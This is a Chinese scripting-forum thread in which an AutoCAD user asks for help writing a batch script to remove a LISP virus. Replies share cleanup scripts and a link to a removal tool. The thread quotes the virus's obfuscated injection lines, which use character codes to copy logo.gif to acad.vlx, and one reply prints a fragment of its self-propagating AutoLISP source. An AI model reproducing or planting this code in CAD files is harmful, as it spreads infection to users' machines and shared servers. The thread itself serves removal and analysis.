[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[文件操作] 求帮忙写一个cad杀毒的bat(已解决)

本帖最后由 195135692 于 2014-8-16 09:38 编辑

背景: 本人只不会写批处理,用cad多年,目前公司有autocad和mechanical两个软件中毒,很烦人,下载了多个杀软,不能根本解决问题。

病毒传播方式有
1、分别在某些lsp和mnl文件中插入以下代码(在不同的文件中,可能只有以下的一行,可能有三行,可能重复的不连续的有很多行)
(load"acadapp.lsp")
(load"acadapq.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
2、在系统安装盘下(是XP或win7的系统安装盘)下生成boot.dat文件(不是boot.ini)
3、在cad的安装路径文件夹help下生成logo.gif文件
4、在新开或打开过的cad文件目录下生成acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acadapp.lsp、acadappp.lsp、acadiso.lsp文件,包括本机的文件和服务器上的文件(当然是有权限写的路径)
5、感染acad.fas、acaddoc.fas、lcm.fas文件(这个还不知道是怎么传染的,只知道删除了就会没事,不删病毒就会复发)
根椐本人几个月的试验,病毒只能新建和修改可读写的文件,对于只读文件还不能修改
6、病毒跟注册表没有关系,以上是我通过几个月的实验得出的

杀毒思路:找出病毒文件,删除恶意代码或文件,存为只读
1、找系统安装盘下有没有boot.dat文件,如有则清除文件内容,并存为只读。因为不是每个系统都在C盘,也可以全盘搜索boot.dat
2、找cad软件在cad的安装路径文件夹help下生成logo.gif文件,如有则清除文件内容,并存为只读。因为不是每次cad软件都在D盘,也可以全盘搜索logo.gif
3、搜索acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acad.fas、acad.sys、acadapp.lsp、acadappp.lsp、acaddoc.fas、acadiso.lsp、lcm.fas、acadsmu.fas文件并删除,最好能包括服务器的路径,比如\\mainserver\工程部\资料临时放置区
4、本机全盘搜索*.lsp和*.mnl文件,并在其文件中查找以下三行代码之一,并删除,这三行代码不一定是同时存在的,同一行代码在文件中可能不只一次出现
(load"acadapp.lsp")
(load"acadapq.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
如文件有出现以上代码的,删除代码后直接保存并存为只读

目前下载的专杀软件,可能没有做第1、2步,也没有把文件存为只读,因为杀完后很快的就中毒了。
请各位高手帮帮忙。

软件已通过金山、360验证。 (2014-10-21 日最新下载地址)

文件名称:CAD病毒专杀工具V1.0
软件大小:1.9MB
下载地址:http://pan.baidu.com/s/1bnleIlT
阿方

TOP

说明:金山有误报,以上下载地址我暂时撤销了,正在申请解除误报中。。。
待解除误报后我再重新公布下载地址。
如现在各位有需要,请留下言
阿方

TOP

CAD专杀已写好,请下载。。
相对轻巧快速。。。

文件名称:CAD病毒专杀工具V1.0.zip
文件大小:1.9MB
下载地址:http://pan.baidu.com/s/1c03Z2so
阿方

TOP

好,明天回公司找找,谢谢

TOP

回复 1# 195135692

你能否尽快提供 CAD 病毒样本给我,以便能提取特征码及分析,如果你有完全的样本可以全部打包发送到我的邮箱:acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acadapp.lsp、acadappp.lsp、acadiso.lsp、acad.fas、acaddoc.fas、lcm.fas、boot.dat、logo.gif    (要压缩(或压缩2次)再发送)邮箱: [email]wuhengsi88@163.com[/email]
阿方

TOP

几年前碰过这个病毒,当时没有认真分析,只是简单提取了病毒的特征码,加入“620自助杀毒”病毒库中,可以全盘扫描到病毒
在专杀未出来前,可用 620自助杀毒  扫描全盘杀死,只是临时解决办法,要彻底解决还要专杀工具才行

620自助杀毒V2.1
下载地址: http://duote.com/soft/37637.html



阿方

TOP

待这月忙完项目。。我来写个专杀EXE
阿方

TOP

1、好像差不多的传播原理。
2、上面代码是在什么文里的?
3、如何杀毒的?

TOP

我之前碰到过这个病毒
    (setq woldacad (strcat wpath "acad.mnl"))
    (setq wnewacad (strcat dpath "acaddoc.lsp"))
    (wwriteapp)
  )
  (vl-file-delete (strcat dpath "acaddoc.lsp"))
)
;load "acadapq")
(setvar "cmdecho" wold_cmd)
(load "acadappp.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))
阿方

TOP

专门写一个专杀EXE。kill了它吧,,,因为BAT稳定性不够,加上它要解释,很耗CPU的

TOP

我试了半天,好像用wfr 删除(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
有点难呀

TOP

解决上面第1个问题了,程序如下
@echo off
FOR %%a IN (c d e) DO (
echo 正在处理%%a
cd /d %%a:\
for /r %%b in (*.lsp *.mnl) do if exist %%b (
echo %%b
wfr "%%b" -r:"(load\"acadapp.lsp\")" -t:""
wfr "%%b" -r:"(load\"acadapq.lsp\")" -t:""
)
)
echo 已完成处理
pause
还剩第2个问题,如何删除
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
应该是转义的问题,求帮忙

TOP

本帖最后由 195135692 于 2014-8-7 17:43 编辑

试了几天,发与上面sed命令中,有时候会在显示”已处理1“或”已处理2“后或前停在那里2个小时左右不动(电脑没死机),就关掉程序了,有几次这样的情况,显示正在处理文件的目录不一样。

换了一种方法,如下
@echo off
FOR %%a IN (C: D: E DO (
cd /d %%a & for /r %%b in (
*.lsp
*.mnl
) do if exist %%b (
echo %%b
wfr "%%b" -r:"(load\"acadapp.lsp\")" -t:""
wfr "%%b" -r:"(load\"acadapq.lsp\")" -t:""
)
)
echo 已完成处理
pause

有两个问题
1、不能处理程序所在盘的文件(除程序所在的目录和下级目录,或除非程序放在根目录下)
2、想删除
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
语句如下
wfr "%%b" -r:"(vl-file-copy(findfile(vl-list->string\'(108 111 103 111 46 103 105 102)))(vl-list->string\'(97 99 97 100 46 118 108 120)))" -t:""
有问题,应该是要转义,不知道怎么转义
求帮忙

TOP

谢谢,可以解决带空格的目录文件了,继续研究中

TOP

返回列表